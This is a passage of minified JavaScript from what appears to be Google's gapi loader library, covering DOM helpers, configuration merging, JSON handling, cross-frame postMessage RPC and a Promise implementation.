e(c){c&&b.appendChild(_.u(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];!_.Wa(f)||_.Ya(f)&&0<f.nodeType?e(f):(0,_.lb)(Ad(f)?_.uc(f):f,e)}};_.Bd=function(a){return window.document.createElement(String(a))};_.Dd=function(a){if(1!=a.nodeType)return!1;switch(a.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0}; _.Ed=function(a,b){yd(_.sd(a),a,arguments,1)};_.Fd=function(a){for(var b;b=a.firstChild;)a.removeChild(b)};_.Gd=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b)};_.Hd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null};_.Id=function(a){var b,c=a.parentNode;if(c&&11!=c.nodeType){if(a.removeNode)return a.removeNode(!1);for(;b=a.firstChild;)c.insertBefore(b,a);return _.Hd(a)}}; _.Jd=function(a){return Ic&&void 0!=a.children?a.children:(0,_.mb)(a.childNodes,function(a){return 1==a.nodeType})};_.Kd=function(a){return _.Ya(a)&&1==a.nodeType};_.Ld=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.sd=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document}; _.Md=function(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeType)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.Fd(a),a.appendChild(_.sd(a).createTextNode(String(b)))};Ad=function(a){if(a&&"number"==typeof a.length){if(_.Ya(a))return"function"==typeof a.item||"string"==typeof a.item;if(_.Xa(a))return"function"==typeof a.item}return!1}; _.rd=function(a){this.Va=a||_.m.document||window.document};_.g=_.rd.prototype;_.g.Ea=_.td;_.g.RC=_.ea(0);_.g.mb=function(){return this.Va};_.g.S=function(a){return _.ud(this.Va,a)};_.g.getElementsByTagName=function(a,b){return(b||this.Va).getElementsByTagName(String(a))};_.g.ma=function(a,b,c){return _.zd(this.Va,arguments)};_.g.createElement=function(a){return this.Va.createElement(String(a))};_.g.createTextNode=function(a){return this.Va.createTextNode(String(a))}; _.g.vb=function(){var a=this.Va;return a.parentWindow||a.defaultView};_.g.appendChild=function(a,b){a.appendChild(b)};_.g.append=_.Ed;_.g.canHaveChildren=_.Dd;_.g.xe=_.Fd;_.g.GI=_.Gd;_.g.removeNode=_.Hd;_.g.qR=_.Id;_.g.xz=_.Jd;_.g.isElement=_.Kd;_.g.contains=_.Ld;_.g.Eh=_.ea(1); /* gapi.loader.OBJECT_CREATE_TEST_OVERRIDE &&*/ _.Nd=window;_.Qd=window.document;_.Rd=_.Nd.location;_.Sd=/\[native code\]/;_.Td=function(a,b,c){return a[b]=a[b]||c};_.D=function(){var a;if((a=Object.create)&&_.Sd.test(a))a=a(null);else{a={};for(var b in a)a[b]=void 0}return a};_.Ud=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};_.Vd=function(a,b){a=a||{};for(var c in a)_.Ud(a,c)&&(b[c]=a[c])};_.Wd=_.Td(_.Nd,"gapi",{}); _.Xd=function(a,b,c){var d=new RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=new RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(d.exec(a)||b.exec(a)))try{c=(0,window.decodeURIComponent)(a[2])}catch(e){}return c};_.Yd=new RegExp(/^/.source+/([a-zA-Z][-+.a-zA-Z0-9]*:)?/.source+/(\/\/[^\/?#]*)?/.source+/([^?#]*)?/.source+/(\?([^#]*))?/.source+/(#((#|[^#])*))?/.source+/$/.source); _.Zd=new RegExp(/(%([^0-9a-fA-F%]|[0-9a-fA-F]([^0-9a-fA-F%])?)?)*/.source+/%($|[^0-9a-fA-F]|[0-9a-fA-F]($|[^0-9a-fA-F]))/.source,"g");_.$d=new RegExp(/\/?\??#?/.source+"("+/[\/?#]/i.source+"|"+/[\uD800-\uDBFF]/i.source+"|"+/%[c-f][0-9a-f](%[89ab][0-9a-f]){0,2}(%[89ab]?)?/i.source+"|"+/%[0-9a-f]?/i.source+")$","i"); _.be=function(a,b,c){_.ae(a,b,c,"add","at")};_.ae=function(a,b,c,d,e){if(a[d+"EventListener"])a[d+"EventListener"](b,c,!1);else if(a[e+"tachEvent"])a[e+"tachEvent"]("on"+b,c)};_.ce=_.Td(_.Nd,"___jsl",_.D());_.Td(_.ce,"I",0);_.Td(_.ce,"hel",10);var ee,fe,ge,he,ie,je,ke;ee=function(a){var b=window.___jsl=window.___jsl||{};b[a]=b[a]||[];return b[a]};fe=function(a){var b=window.___jsl=window.___jsl||{};b.cfg=!a&&b.cfg||{};return b.cfg};ge=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)}; he=function(a,b,c){if(b&&"object"===typeof b)for(var d in b)!Object.prototype.hasOwnProperty.call(b,d)||c&&"___goc"===d&&"undefined"===typeof b[d]||(a[d]&&b[d]&&"object"===typeof a[d]&&"object"===typeof b[d]&&!ge(a[d])&&!ge(b[d])?he(a[d],b[d]):b[d]&&"object"===typeof b[d]?(a[d]=ge(b[d])?[]:{},he(a[d],b[d])):a[d]=b[d])}; ie=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);try{var b=window.JSON.parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(c){}return"object"===typeof b?b:{}}}; je=function(a,b){var c={___goc:void 0};a.length&&a[a.length-1]&&Object.hasOwnProperty.call(a[a.length-1],"___goc")&&"undefined"===typeof a[a.length-1].___goc&&(c=a.pop());he(c,b);a.push(c)}; ke=function(a){fe(!0);var b=window.___gcfg,c=ee("cu"),d=window.___gu;b&&b!==d&&(je(c,b),window.___gu=b);b=ee("cu");var e=window.document.scripts||window.document.getElementsByTagName("script")||[];d=[];var f=[];f.push.apply(f,ee("us"));for(var h=0;h<e.length;++h)for(var k=e[h],l=0;l<f.length;++l)k.src&&0==k.src.indexOf(f[l])&&d.push(k);0==d.length&&0<e.length&&e[e.length-1].src&&d.push(e[e.length-1]);for(e=0;e<d.length;++e)d[e].getAttribute("gapi_processed")||(d[e].setAttribute("gapi_processed",!0), (f=d[e])?(h=f.nodeType,f=3==h||4==h?f.nodeValue:f.textContent||f.innerText||f.innerHTML||""):f=void 0,(f=ie(f))&&b.push(f));a&&je(c,a);d=ee("cd");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);d=ee("ci");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);a=0;for(b=c.length;a<b;++a)he(fe(),c[a],!0)};_.H=function(a,b){var c=fe();if(!a)return c;a=a.split("/");for(var d=0,e=a.length;c&&"object"===typeof c&&d<e;++d)c=c[a[d]];return d===a.length&&void 0!==c?c:b}; _.le=function(a,b){var c;if("string"===typeof a){var d=c={};a=a.split("/");for(var e=0,f=a.length;e<f-1;++e){var h={};d=d[a[e]]=h}d[a[e]]=b}else c=a;ke(c)}; var me=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),_.Td(_.ce,"ci",[]).push(a),window.__GOOGLEAPIS=void 0)};me&&me();ke();_.w("gapi.config.get",_.H);_.w("gapi.config.update",_.le); _.ne=function(a,b){var c=b||window.document;if(c.getElementsByClassName)a=c.getElementsByClassName(a)[0];else{c=window.document;var d=b||c;a=d.querySelectorAll&&d.querySelector&&a?d.querySelector(a?"."+a:""):_.vd(c,"*",a,b)[0]||null}return a||null}; var xe,ye,ze,Ae,Be,Ce,De,Ee,Fe,Ge,He,Ie,Je,Ke,Le,Me,Ne,Oe,Pe,Qe,Re,Se,Te,Ue,Ve,We,Xe,Ze,$e,af,bf,ef,ff;ze=void 0;Ae=function(a){try{return _.m.JSON.parse.call(_.m.JSON,a)}catch(b){return!1}};Be=function(a){return Object.prototype.toString.call(a)};Ce=Be(0);De=Be(new Date(0));Ee=Be(!0);Fe=Be("");Ge=Be({});He=Be([]); Ie=function(a,b){if(b)for(var c=0,d=b.length;c<d;++c)if(a===b[c])throw new TypeError("Converting circular structure to JSON");d=typeof a;if("undefined"!==d){c=Array.prototype.slice.call(b||[],0);c[c.length]=a;b=[];var e=Be(a);if(null!=a&&"function"===typeof a.toJSON&&(Object.prototype.hasOwnProperty.call(a,"toJSON")||(e!==He||a.constructor!==Array&&a.constructor!==Object)&&(e!==Ge||a.constructor!==Array&&a.constructor!==Object)&&e!==Fe&&e!==Ce&&e!==Ee&&e!==De))return Ie(a.toJSON.call(a),c);if(null== a)b[b.length]="null";else if(e===Ce)a=Number(a),(0,window.isNaN)(a)||(0,window.isNaN)(a-a)?a="null":-0===a&&0>1/a&&(a="-0"),b[b.length]=String(a);else if(e===Ee)b[b.length]=String(!!Number(a));else{if(e===De)return Ie(a.toISOString.call(a),c);if(e===He&&Be(a.length)===Ce){b[b.length]="[";var f=0;for(d=Number(a.length)>>0;f<d;++f)f&&(b[b.length]=","),b[b.length]=Ie(a[f],c)||"null";b[b.length]="]"}else if(e==Fe&&Be(a.length)===Ce){b[b.length]='"';f=0;for(c=Number(a.length)>>0;f<c;++f)d=String.prototype.charAt.call(a, f),e=String.prototype.charCodeAt.call(a,f),b[b.length]="\b"===d?"\\b":"\f"===d?"\\f":"\n"===d?"\\n":"\r"===d?"\\r":"\t"===d?"\\t":"\\"===d||'"'===d?"\\"+d:31>=e?"\\u"+(e+65536).toString(16).substr(1):32<=e&&65535>=e?d:"\ufffd";b[b.length]='"'}else if("object"===d){b[b.length]="{";d=0;for(f in a)Object.prototype.hasOwnProperty.call(a,f)&&(e=Ie(a[f],c),void 0!==e&&(d++&&(b[b.length]=","),b[b.length]=Ie(f),b[b.length]=":",b[b.length]=e));b[b.length]="}"}else return}return b.join("")}};Je=/[\0-\x07\x0b\x0e-\x1f]/; Ke=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*[\0-\x1f]/;Le=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\[^\\\/"bfnrtu]/;Me=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\u([0-9a-fA-F]{0,3}[^0-9a-fA-F])/;Ne=/"([^\0-\x1f\\"]|\\[\\\/"bfnrt]|\\u[0-9a-fA-F]{4})*"/g;Oe=/-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][-+]?[0-9]+)?/g;Pe=/[ \t\n\r]+/g;Qe=/[^"]:/;Re=/""/g;Se=/true|false|null/g;Te=/00/;Ue=/[\{]([^0\}]|0[^:])/;Ve=/(^|\[)[,:]|[,:](\]|\}|[,:]|$)/;We=/[^\[,:][\[\{]/;Xe=/^(\{|\}|\[|\]|,|:|0)+/;Ze=/\u2028/g; $e=/\u2029/g; af=function(a){a=String(a);if(Je.test(a)||Ke.test(a)||Le.test(a)||Me.test(a))return!1;var b=a.replace(Ne,'""');b=b.replace(Oe,"0");b=b.replace(Pe,"");if(Qe.test(b))return!1;b=b.replace(Re,"0");b=b.replace(Se,"0");if(Te.test(b)||Ue.test(b)||Ve.test(b)||We.test(b)||!b||(b=b.replace(Xe,"")))return!1;a=a.replace(Ze,"\\u2028").replace($e,"\\u2029");b=void 0;try{b=ze?[Ae(a)]:eval("(function (var_args) {\n return Array.prototype.slice.call(arguments, 0);\n})(\n"+a+"\n)")}catch(c){return!1}return b&&1=== b.length?b[0]:!1};bf=function(){var a=((_.m.document||{}).scripts||[]).length;if((void 0===xe||void 0===ze||ye!==a)&&-1!==ye){xe=ze=!1;ye=-1;try{try{ze=!!_.m.JSON&&'{"a":[3,true,"1970-01-01T00:00:00.000Z"]}'===_.m.JSON.stringify.call(_.m.JSON,{a:[3,!0,new Date(0)],c:function(){}})&&!0===Ae("true")&&3===Ae('[{"a":3}]')[0].a}catch(b){}xe=ze&&!Ae("[00]")&&!Ae('"\u0007"')&&!Ae('"\\0"')&&!Ae('"\\v"')}finally{ye=a}}};_.cf=function(a){if(-1===ye)return!1;bf();return(xe?Ae:af)(a)}; _.df=function(a){if(-1!==ye)return bf(),ze?_.m.JSON.stringify.call(_.m.JSON,a):Ie(a)};ef=!Date.prototype.toISOString||"function"!==typeof Date.prototype.toISOString||"1970-01-01T00:00:00.000Z"!==(new Date(0)).toISOString(); ff=function(){var a=Date.prototype.getUTCFullYear.call(this);return[0>a?"-"+String(1E6-a).substr(1):9999>=a?String(1E4+a).substr(1):"+"+String(1E6+a).substr(1),"-",String(101+Date.prototype.getUTCMonth.call(this)).substr(1),"-",String(100+Date.prototype.getUTCDate.call(this)).substr(1),"T",String(100+Date.prototype.getUTCHours.call(this)).substr(1),":",String(100+Date.prototype.getUTCMinutes.call(this)).substr(1),":",String(100+Date.prototype.getUTCSeconds.call(this)).substr(1),".",String(1E3+Date.prototype.getUTCMilliseconds.call(this)).substr(1), "Z"].join("")};Date.prototype.toISOString=ef?ff:Date.prototype.toISOString; _.w("gadgets.json.stringify",_.df);_.w("gadgets.json.parse",_.cf); _.Xj=window.gapi&&window.gapi.util||{}; _.Zj=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);/^[\w\-]*:\/\//.test(a)||(a=window.location.href);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!==a&&"chrome-search"!==a&&"app"!==a)throw Error("L`"+a);c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0, d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}; _.Xj.Qa=function(a){return _.Zj(a)}; _.qe=window.console;_.ue=function(a){_.qe&&_.qe.log&&_.qe.log(a)};_.ve=function(){}; _.I=_.I||{}; _.I=_.I||{}; (function(){var a=null;_.I.xc=function(b){var c="undefined"===typeof b;if(null!==a&&c)return a;var d={};b=b||window.location.href;var e=b.indexOf("?"),f=b.indexOf("#");b=(-1===f?b.substr(e+1):[b.substr(e+1,f-e-1),"&",b.substr(f+1)].join("")).split("&");e=window.decodeURIComponent?window.decodeURIComponent:window.unescape;f=0;for(var h=b.length;f<h;++f){var k=b[f].indexOf("=");if(-1!==k){var l=b[f].substring(0,k);k=b[f].substring(k+1);k=k.replace(/\+/g," ");try{d[l]=e(k)}catch(n){}}}c&&(a=d);return d}; _.I.xc()})(); _.w("gadgets.util.getUrlParameters",_.I.xc); _.Xd(_.Nd.location.href,"rpctoken")&&_.be(_.Qd,"unload",function(){}); var dm=function(){this.$r={tK:Xl?"../"+Xl:null,NQ:Yl,GH:Zl,C9:$l,eu:am,l$:bm};this.Ee=_.Nd;this.gK=this.JQ;this.tR=/MSIE\s*[0-8](\D|$)/.test(window.navigator.userAgent);if(this.$r.tK){this.Ee=this.$r.GH(this.Ee,this.$r.tK);var a=this.Ee.document,b=a.createElement("script");b.setAttribute("type","text/javascript");b.text="window.doPostMsg=function(w,s,o) {window.setTimeout(function(){w.postMessage(s,o);},0);};";a.body.appendChild(b);this.gK=this.Ee.doPostMsg}this.kD={};this.FD={};a=(0,_.A)(this.hA, this);_.be(this.Ee,"message",a);_.Td(_.ce,"RPMQ",[]).push(a);this.Ee!=this.Ee.parent&&cm(this,this.Ee.parent,'{"h":"'+(0,window.escape)(this.Ee.name)+'"}',"*")},em=function(a){var b=null;0===a.indexOf('{"h":"')&&a.indexOf('"}')===a.length-2&&(b=(0,window.unescape)(a.substring(6,a.length-2)));return b},fm=function(a){if(!/^\s*{/.test(a))return!1;a=_.cf(a);return null!==a&&"object"===typeof a&&!!a.g}; dm.prototype.hA=function(a){var b=String(a.data);(0,_.ve)("gapi.rpc.receive("+$l+"): "+(!b||512>=b.length?b:b.substr(0,512)+"... ("+b.length+" bytes)"));var c=0!==b.indexOf("!_");c||(b=b.substring(2));var d=fm(b);if(!c&&!d){if(!d&&(c=em(b))){if(this.kD[c])this.kD[c]();else this.FD[c]=1;return}var e=a.origin,f=this.$r.NQ;this.tR?_.Nd.setTimeout(function(){f(b,e)},0):f(b,e)}};dm.prototype.Dc=function(a,b){".."===a||this.FD[a]?(b(),delete this.FD[a]):this.kD[a]=b}; var cm=function(a,b,c,d){var e=fm(c)?"":"!_";(0,_.ve)("gapi.rpc.send("+$l+"): "+(!c||512>=c.length?c:c.substr(0,512)+"... ("+c.length+" bytes)"));a.gK(b,e+c,d)};dm.prototype.JQ=function(a,b,c){a.postMessage(b,c)};dm.prototype.send=function(a,b,c){(a=this.$r.GH(this.Ee,a))&&!a.closed&&cm(this,a,b,c)}; var gm,hm,im,jm,km,lm,mm,nm,Xl,$l,om,pm,qm,rm,Zl,am,sm,tm,ym,zm,Bm,bm,Dm,Cm,um,vm,Em,Yl,Fm,Gm;gm=0;hm=[];im={};jm={};km=_.I.xc;lm=km();mm=lm.rpctoken;nm=lm.parent||_.Qd.referrer;Xl=lm.rly;$l=Xl||(_.Nd!==_.Nd.top||_.Nd.opener)&&_.Nd.name||"..";om=null;pm={};qm=function(){};rm={send:qm,Dc:qm}; Zl=function(a,b){"/"==b.charAt(0)&&(b=b.substring(1),a=_.Nd.top);for(b=b.split("/");b.length;){var c=b.shift();"{"==c.charAt(0)&&"}"==c.charAt(c.length-1)&&(c=c.substring(1,c.length-1));if(".."===c)a=a==a.parent?a.opener:a.parent;else if(".."!==c&&a.frames[c]){if(a=a.frames[c],!("postMessage"in a))throw"Not a window";}else return null}return a};am=function(a){return(a=im[a])&&a.zk}; sm=function(a){if(a.f in{})return!1;var b=a.t,c=im[a.r];a=a.origin;return c&&(c.zk===b||!c.zk&&!b)&&(a===c.origin||"*"===c.origin)};tm=function(a){var b=a.id.split("/"),c=b[b.length-1],d=a.origin;return function(a){var b=a.origin;return a.f==c&&(d==b||"*"==d)}};_.wm=function(a,b,c){a=um(a);jm[a.name]={Lg:b,Nq:a.Nq,zo:c||sm};vm()};_.xm=function(a){delete jm[um(a).name]};ym={};zm=function(a,b){(a=ym["_"+a])&&a[1](this)&&a[0].call(this,b)}; Bm=function(a){var b=a.c;if(!b)return qm;var c=a.r,d=a.g?"legacy__":"";return function(){var a=[].slice.call(arguments,0);a.unshift(c,d+"__cb",null,b);_.Am.apply(null,a)}};bm=function(a){om=a};Dm=function(a){pm[a]||(pm[a]=_.Nd.setTimeout(function(){pm[a]=!1;Cm(a)},0))};Cm=function(a){var b=im[a];if(b&&b.ready){var c=b.dC;for(b.dC=[];c.length;)rm.send(a,_.df(c.shift()),b.origin)}};um=function(a){return 0===a.indexOf("legacy__")?{name:a.substring(8),Nq:!0}:{name:a,Nq:!1}}; vm=function(){for(var a=_.H("rpc/residenceSec")||60,b=(new Date).getTime()/1E3,c=0,d;d=hm[c];++c){var e=d.hm;if(!e||0<a&&b-d.timestamp>a)hm.splice(c,1),--c;else{var f=e.s,h=jm[f]||jm["*"];if(h)if(hm.splice(c,1),--c,e.origin=d.origin,d=Bm(e),e.callback=d,h.zo(e)){if("__cb"!==f&&!!h.Nq!=!!e.g)break;e=h.Lg.apply(e,e.a);void 0!==e&&d(e)}else(0,_.ve)("gapi.rpc.rejected("+$l+"): "+f)}}};Em=function(a,b,c){hm.push({hm:a,origin:b,timestamp:(new Date).getTime()/1E3});c||vm()}; Yl=function(a,b){a=_.cf(a);Em(a,b,!1)};Fm=function(a){for(;a.length;)Em(a.shift(),this.origin,!0);vm()};Gm=function(a){var b=!1;a=a.split("|");var c=a[0];0<=c.indexOf("/")&&(b=!0);return{id:c,origin:a[1]||"*",QA:b}}; _.Hm=function(a,b,c,d){var e=Gm(a);d&&(_.Nd.frames[e.id]=_.Nd.frames[e.id]||d);a=e.id;if(!im.hasOwnProperty(a)){c=c||null;d=e.origin;if(".."===a)d=_.Xj.Qa(nm),c=c||mm;else if(!e.QA){var f=_.Qd.getElementById(a);f&&(f=f.src,d=_.Xj.Qa(f),c=c||km(f).rpctoken)}"*"===e.origin&&d||(d=e.origin);im[a]={zk:c,dC:[],origin:d,xY:b,mK:function(){var b=a;im[b].ready=1;Cm(b)}};rm.Dc(a,im[a].mK)}return im[a].mK}; _.Am=function(a,b,c,d){a=a||"..";_.Hm(a);a=a.split("|",1)[0];var e=b,f=[].slice.call(arguments,3),h=c,k=$l,l=mm,n=im[a],p=k,q=Gm(a);if(n&&".."!==a){if(q.QA){if(!(l=im[a].xY)){l=om?om.substring(1).split("/"):[$l];p=l.length-1;for(var t=_.Nd.parent;t!==_.Nd.top;){var x=t.parent;if(!p--){for(var v=null,y=x.frames.length,F=0;F<y;++F)x.frames[F]==t&&(v=F);l.unshift("{"+v+"}")}t=x}l="/"+l.join("/")}p=l}else p=k="..";l=n.zk}h&&q?(n=sm,q.QA&&(n=tm(q)),ym["_"+ ++gm]=[h,n],h=gm):h=null;f={s:e,f:k,r:p,t:l,c:h, a:f};e=um(e);f.s=e.name;f.g=e.Nq;im[a].dC.push(f);Dm(a)};if("function"===typeof _.Nd.postMessage||"object"===typeof _.Nd.postMessage)rm=new dm,_.wm("__cb",zm,function(){return!0}),_.wm("_processBatch",Fm,function(){return!0}),_.Hm(".."); _.Of=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};_.Pf=function(a,b){a:{for(var c=a.length,d=_.u(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:_.u(a)?a.charAt(b):a[b]};_.Qf=[];_.Rf=[];_.Sf=!1;_.Tf=function(a){_.Qf[_.Qf.length]=a;if(_.Sf)for(var b=0;b<_.Rf.length;b++)a((0,_.A)(_.Rf[b].wrap,_.Rf[b]))}; _.Hg=function(a){return function(){return a}}(!0); var Ng;_.Ig=function(a){if(Error.captureStackTrace)Error.captureStackTrace(this,_.Ig);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))};_.z(_.Ig,Error);_.Ig.prototype.name="CustomError";_.Jg=function(a,b){for(var c in a)if(!(c in b)||a[c]!==b[c])return!1;for(c in b)if(!(c in a))return!1;return!0};_.Kg=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.Lg=function(a,b){a.src=_.Sc(b)};_.Mg=function(a){return a};Ng=function(a,b){this.FQ=a;this.lY=b;this.mv=0;this.Pe=null}; Ng.prototype.get=function(){if(0<this.mv){this.mv--;var a=this.Pe;this.Pe=a.next;a.next=null}else a=this.FQ();return a};Ng.prototype.put=function(a){this.lY(a);100>this.mv&&(this.mv++,a.next=this.Pe,this.Pe=a)}; var Og,Qg,Rg,Pg;Og=function(a){_.m.setTimeout(function(){throw a;},0)};_.Sg=function(a){a=Pg(a);!_.Xa(_.m.setImmediate)||_.m.Window&&_.m.Window.prototype&&!_.Db("Edge")&&_.m.Window.prototype.setImmediate==_.m.setImmediate?(Qg||(Qg=Rg()),Qg(a)):_.m.setImmediate(a)}; Rg=function(){var a=_.m.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&!_.Db("Presto")&&(a=function(){var a=window.document.createElement("IFRAME");a.style.display="none";a.src="";window.document.documentElement.appendChild(a);var b=a.contentWindow;a=b.document;a.open();a.write("");a.close();var c="callImmediate"+Math.random(),d="file:"==b.location.protocol?"*":b.location.protocol+"//"+b.location.host;a=(0,_.A)(function(a){if(("*"== d||a.origin==d)&&a.data==c)this.port1.onmessage()},this);b.addEventListener("message",a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a&&!_.Ib()){var b=new a,c={},d=c;b.port1.onmessage=function(){if(_.r(c.next)){c=c.next;var a=c.cb;c.cb=null;a()}};return function(a){d.next={cb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof window.document&&"onreadystatechange"in window.document.createElement("SCRIPT")?function(a){var b=window.document.createElement("SCRIPT"); b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b);b=null;a();a=null};window.document.documentElement.appendChild(b)}:function(a){_.m.setTimeout(a,0)}};Pg=_.Mg;_.Tf(function(a){Pg=a}); var Tg=function(){this.Ow=this.Co=null},Vg=new Ng(function(){return new Ug},function(a){a.reset()});Tg.prototype.add=function(a,b){var c=Vg.get();c.set(a,b);this.Ow?this.Ow.next=c:this.Co=c;this.Ow=c};Tg.prototype.remove=function(){var a=null;this.Co&&(a=this.Co,this.Co=this.Co.next,this.Co||(this.Ow=null),a.next=null);return a};var Ug=function(){this.next=this.scope=this.Lg=null};Ug.prototype.set=function(a,b){this.Lg=a;this.scope=b;this.next=null}; Ug.prototype.reset=function(){this.next=this.scope=this.Lg=null}; var Wg,Xg,Yg,Zg,ah;_.$g=function(a,b){Wg||Xg();Yg||(Wg(),Yg=!0);Zg.add(a,b)};Xg=function(){if(-1!=String(_.m.Promise).indexOf("[native code]")){var a=_.m.Promise.resolve(void 0);Wg=function(){a.then(ah)}}else Wg=function(){_.Sg(ah)}};Yg=!1;Zg=new Tg;ah=function(){for(var a;a=Zg.remove();){try{a.Lg.call(a.scope)}catch(b){Og(b)}Vg.put(a)}Yg=!1}; _.bh=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0};_.ch=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var eh,fh,ph,nh;_.dh=function(a,b){this.Da=0;this.Si=void 0;this.Tm=this.yj=this.hb=null;this.iu=this.bz=!1;if(a!=_.Va)try{var c=this;a.call(b,function(a){c.Xg(2,a)},function(a){c.Xg(3,a)})}catch(d){this.Xg(3,d)}};eh=function(){this.next=this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};eh.prototype.reset=function(){this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};fh=new Ng(function(){return new eh},function(a){a.reset()});_.gh=function(a,b,c){var d=fh.get();d.Yq=a;d.On=b;d.context=c;return d}; _.hh=function(a){if(a instanceof _.dh)return a;var b=new _.dh(_.Va);b.Xg(2,a);return b};_.ih=function(a){return new _.dh(function(b,c){c(a)})};_.kh=function(a,b,c){jh(a,b,c,null)||_.$g(_.Of(b,a))};_.mh=function(){var a,b,c=new _.dh(function(c,e){a=c;b=e});return new lh(c,a,b)};_.dh.prototype.then=function(a,b,c){return nh(this,_.Xa(a)?a:null,_.Xa(b)?b:null,c)};_.bh(_.dh);_.dh.prototype.Aw=function(a,b){return nh(this,null,a,b)}; _.dh.prototype.cancel=function(a){0==this.Da&&_.$g(function(){var b=new oh(a);ph(this,b)},this)};ph=function(a,b){if(0==a.Da)if(a.hb){var c=a.hb;if(c.yj){for(var d=0,e=null,f=null,h=c.yj;h&&(h.Wo||(d++,h.Ok==a&&(e=h),!(e&&1<d)));h=h.next)e||(f=h);e&&(0==c.Da&&1==d?ph(c,b):(f?(d=f,d.next==c.Tm&&(c.Tm=d),d.next=d.next.next):qh(c),rh(c,e,3,b)))}a.hb=null}else a.Xg(3,b)};_.th=function(a,b){a.yj||2!=a.Da&&3!=a.Da||sh(a);a.Tm?a.Tm.next=b:a.yj=b;a.Tm=b}; nh=function(a,b,c,d){var e=_.gh(null,null,null);e.Ok=new _.dh(function(a,h){e.Yq=b?function(c){try{var e=b.call(d,c);a(e)}catch(n){h(n)}}:a;e.On=c?function(b){try{var e=c.call(d,b);!_.r(e)&&b instanceof oh?h(b):a(e)}catch(n){h(n)}}:h});e.Ok.hb=a;_.th(a,e);return e.Ok};_.dh.prototype.z_=function(a){this.Da=0;this.Xg(2,a)};_.dh.prototype.A_=function(a){this.Da=0;this.Xg(3,a)}; _.dh.prototype.Xg=function(a,b){0==this.Da&&(this===b&&(a=3,b=new TypeError("Promise cannot resolve to itself")),this.Da=1,jh(b,this.z_,this.A_,this)||(this.Si=b,this.Da=a,this.hb=null,sh(this),3!=a||b instanceof oh||uh(this,b)))}; var jh=function(a,b,c,d){if(a instanceof _.dh)return _.th(a,_.gh(b||_.Va,c||null,d)),!0;if(_.ch(a))return a.then(b,c,d),!0;if(_.Ya(a))try{var e=a.then;if(_.Xa(e))return vh(a,e,b,c,d),!0}catch(f){return c.call(d,f),!0}return!1},vh=function(a,b,c,d,e){var f=!1,h=function(a){f||(f=!0,c.call(e,a))},k=function(a){f||(f=!0,d.call(e,a))};try{b.call(a,h,k)}catch(l){k(l)}},sh=function(a){a.bz||(a.bz=!0,_.$g(a.eR,a))},qh=function(a){var b=null;a.yj&&(b=a.yj,a.yj=b.next,b.next=null);a.yj||(a.Tm=null);return b}; _.dh.prototype.eR=function(){for(var a;a=qh(this);)rh(this,a,this.Da,this.Si);this.bz=!1};var rh=function(a,b,c,d){if(3==c&&b.On&&!b.Wo)for(;a&&a.iu;a=a.hb)a.iu=!1;if(b.Ok)b.Ok.hb=null,wh(b,c,d);else 